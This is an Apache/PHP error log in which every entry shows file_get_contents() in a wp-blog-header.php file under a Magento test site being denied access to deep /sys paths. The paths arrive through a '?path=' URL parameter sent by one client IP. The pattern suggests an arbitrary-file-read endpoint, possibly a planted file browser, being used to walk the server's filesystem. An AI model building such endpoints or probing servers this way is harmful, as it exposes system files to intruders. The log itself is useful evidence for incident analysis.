[Thu Mar 26 15:03:09.030528 2026] [php:warn] [pid 3106757] [client 74.7.241.26:42442] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bd/subsystem/drivers_probe): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bd/subsystem
[Thu Mar 26 15:03:11.156455 2026] [php:warn] [pid 3106757] [client 74.7.241.26:42442] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cb/subsystem/devices/device:cc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cb/subsystem/devices/device:cc
[Thu Mar 26 15:03:17.530420 2026] [php:warn] [pid 3106757] [client 74.7.241.26:42442] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:ee/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:ee
[Thu Mar 26 15:03:18.046298 2026] [php:warn] [pid 3106757] [client 74.7.241.26:42442] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:be/subsystem/devices/device:ad/subsystem/devices/device:ae/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:be/subsystem/devices/device:ad/subsystem/devices/device:ae
[Thu Mar 26 15:03:19.098772 2026] [php:warn] [pid 3106757] [client 74.7.241.26:42442] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:be/subsystem/devices/device:ad/subsystem/devices/device:ea/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:be/subsystem/devices/device:ad/subsystem/devices/device:ea
[Thu Mar 26 15:03:20.167624 2026] [php:warn] [pid 3106757] [client 74.7.241.26:42442] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cf/subsystem/devices/device:ea/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cf/subsystem/devices/device:ea
[Thu Mar 26 15:03:21.221561 2026] [php:warn] [pid 3106757] [client 74.7.241.26:42442] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ce/subsystem/devices/device:aa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ce/subsystem/devices/device:aa
[Thu Mar 26 15:03:24.945703 2026] [php:warn] [pid 3106757] [client 74.7.241.26:42442] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bf/subsystem/drivers/ec/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bf/subsystem/drivers/ec
[Thu Mar 26 15:03:27.873789 2026] [php:warn] [pid 3216602] [client 74.7.241.26:40302] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ae/subsystem/devices/device:fe/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ae/subsystem/devices/device:fe
[Thu Mar 26 15:03:33.596098 2026] [php:warn] [pid 3216602] [client 74.7.241.26:40302] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fc/subsystem/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fc/subsystem
[Thu Mar 26 15:03:35.162420 2026] [php:warn] [pid 3216602] [client 74.7.241.26:40302] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:be/subsystem/devices/device:ad/subsystem/drivers/ec/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:be/subsystem/devices/device:ad/subsystem/drivers/ec
[Thu Mar 26 15:03:38.719608 2026] [php:warn] [pid 3216602] [client 74.7.241.26:40302] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fc/subsystem/devices/device:aa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fc/subsystem/devices/device:aa
[Thu Mar 26 15:03:39.270052 2026] [php:warn] [pid 3216602] [client 74.7.241.26:40302] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:af/subsystem/devices/device:cc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:af/subsystem/devices/device:cc
[Thu Mar 26 15:03:41.466840 2026] [php:warn] [pid 3216602] [client 74.7.241.26:40302] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ca/subsystem/devices/device:ce/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ca/subsystem/devices/device:ce
[Thu Mar 26 15:03:43.033992 2026] [php:warn] [pid 3216602] [client 74.7.241.26:40302] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bc/subsystem/drivers/ec/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bc/subsystem/drivers/ec
[Thu Mar 26 15:03:43.530223 2026] [php:warn] [pid 3216602] [client 74.7.241.26:40302] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:dc/subsystem/drivers/ec/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:dc/subsystem/drivers/ec
[Thu Mar 26 15:03:45.610411 2026] [php:warn] [pid 3216602] [client 74.7.241.26:40302] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bd/subsystem/devices/device:ce/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bd/subsystem/devices/device:ce
[Thu Mar 26 15:03:46.664218 2026] [php:warn] [pid 3216602] [client 74.7.241.26:40302] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ee/subsystem/devices/device:ce/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ee/subsystem/devices/device:ce
[Thu Mar 26 15:03:47.184018 2026] [php:warn] [pid 3216602] [client 74.7.241.26:40302] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ab/subsystem/drivers/ec/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ab/subsystem/drivers/ec
[Thu Mar 26 15:03:47.721684 2026] [php:warn] [pid 3216602] [client 74.7.241.26:40302] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ea/subsystem/devices/device:fc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ea/subsystem/devices/device:fc
[Thu Mar 26 15:03:50.387888 2026] [php:warn] [pid 3216602] [client 74.7.241.26:40302] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:aa/subsystem/drivers/ec/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:aa/subsystem/drivers/ec
[Thu Mar 26 15:03:52.453590 2026] [php:warn] [pid 3216602] [client 74.7.241.26:40302] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ce/subsystem/devices/device:be/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ce/subsystem/devices/device:be
[Thu Mar 26 15:03:59.981796 2026] [php:warn] [pid 3216602] [client 74.7.241.26:40302] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cd/subsystem/devices/device:ee/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cd/subsystem/devices/device:ee
[Thu Mar 26 15:04:09.531939 2026] [php:warn] [pid 3216602] [client 74.7.241.26:40302] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fe/subsystem/devices/device:cc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fe/subsystem/devices/device:cc
[Thu Mar 26 15:04:11.202417 2026] [php:warn] [pid 3216602] [client 74.7.241.26:40302] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:af/subsystem/devices/device:da/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:af/subsystem/devices/device:da
[Thu Mar 26 15:04:13.783863 2026] [php:warn] [pid 3216602] [client 74.7.241.26:40302] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:ae/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:ae
[Thu Mar 26 15:04:23.239651 2026] [php:warn] [pid 3216602] [client 74.7.241.26:40302] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ac/subsystem/drivers/ec/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ac/subsystem/drivers/ec
[Thu Mar 26 15:04:25.367724 2026] [php:warn] [pid 3216602] [client 74.7.241.26:40302] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:dd/subsystem/drivers/ac/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:dd/subsystem/drivers/ac
[Thu Mar 26 15:04:28.749388 2026] [php:warn] [pid 3230778] [client 74.7.241.26:44030] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ca/subsystem/devices/device:be/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ca/subsystem/devices/device:be
[Thu Mar 26 15:04:30.292706 2026] [php:warn] [pid 3230778] [client 74.7.241.26:44030] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ef/subsystem/devices/device:ea/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ef/subsystem/devices/device:ea
[Thu Mar 26 15:04:30.831085 2026] [php:warn] [pid 3230778] [client 74.7.241.26:44030] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bc/subsystem/devices/device:cc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bc/subsystem/devices/device:cc
[Thu Mar 26 15:04:31.397230 2026] [php:warn] [pid 3230778] [client 74.7.241.26:44030] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ed/subsystem/devices/device:dc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ed/subsystem/devices/device:dc
[Thu Mar 26 15:04:35.110645 2026] [php:warn] [pid 3230778] [client 74.7.241.26:44030] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cd/subsystem/drivers/ec/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cd/subsystem/drivers/ec
[Thu Mar 26 15:04:36.702916 2026] [php:warn] [pid 3230778] [client 74.7.241.26:44030] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ed/subsystem/drivers/ac/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ed/subsystem/drivers/ac
[Thu Mar 26 15:04:37.272568 2026] [php:warn] [pid 3230778] [client 74.7.241.26:44030] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:be/subsystem/devices/device:ad/subsystem/drivers/ac/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:be/subsystem/devices/device:ad/subsystem/drivers/ac
[Thu Mar 26 15:04:38.288387 2026] [php:warn] [pid 3230778] [client 74.7.241.26:44030] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ac/subsystem/drivers/ac/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ac/subsystem/drivers/ac
[Thu Mar 26 15:04:44.678763 2026] [php:warn] [pid 3230778] [client 74.7.241.26:44030] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ae/subsystem/devices/device:cc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ae/subsystem/devices/device:cc
[Thu Mar 26 15:04:46.223752 2026] [php:warn] [pid 3230778] [client 74.7.241.26:44030] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ca/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ca
[Thu Mar 26 15:04:51.036117 2026] [php:warn] [pid 3230778] [client 74.7.241.26:44030] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dc
[Thu Mar 26 15:04:51.512225 2026] [php:warn] [pid 3230778] [client 74.7.241.26:44030] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:db/subsystem/devices/device:cc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:db/subsystem/devices/device:cc
[Thu Mar 26 15:04:55.908590 2026] [php:warn] [pid 3230778] [client 74.7.241.26:44030] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ac/subsystem/devices/device:cc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ac/subsystem/devices/device:cc
[Thu Mar 26 15:04:58.071755 2026] [php:warn] [pid 3230778] [client 74.7.241.26:44030] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bb/subsystem/drivers/ec/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bb/subsystem/drivers/ec
[Thu Mar 26 15:05:02.351069 2026] [php:warn] [pid 3230778] [client 74.7.241.26:44030] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:dd/subsystem/devices/device:bc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:dd/subsystem/devices/device:bc
[Thu Mar 26 15:05:04.578284 2026] [php:warn] [pid 3230778] [client 74.7.241.26:44030] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ff/subsystem/drivers/ec/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ff/subsystem/drivers/ec
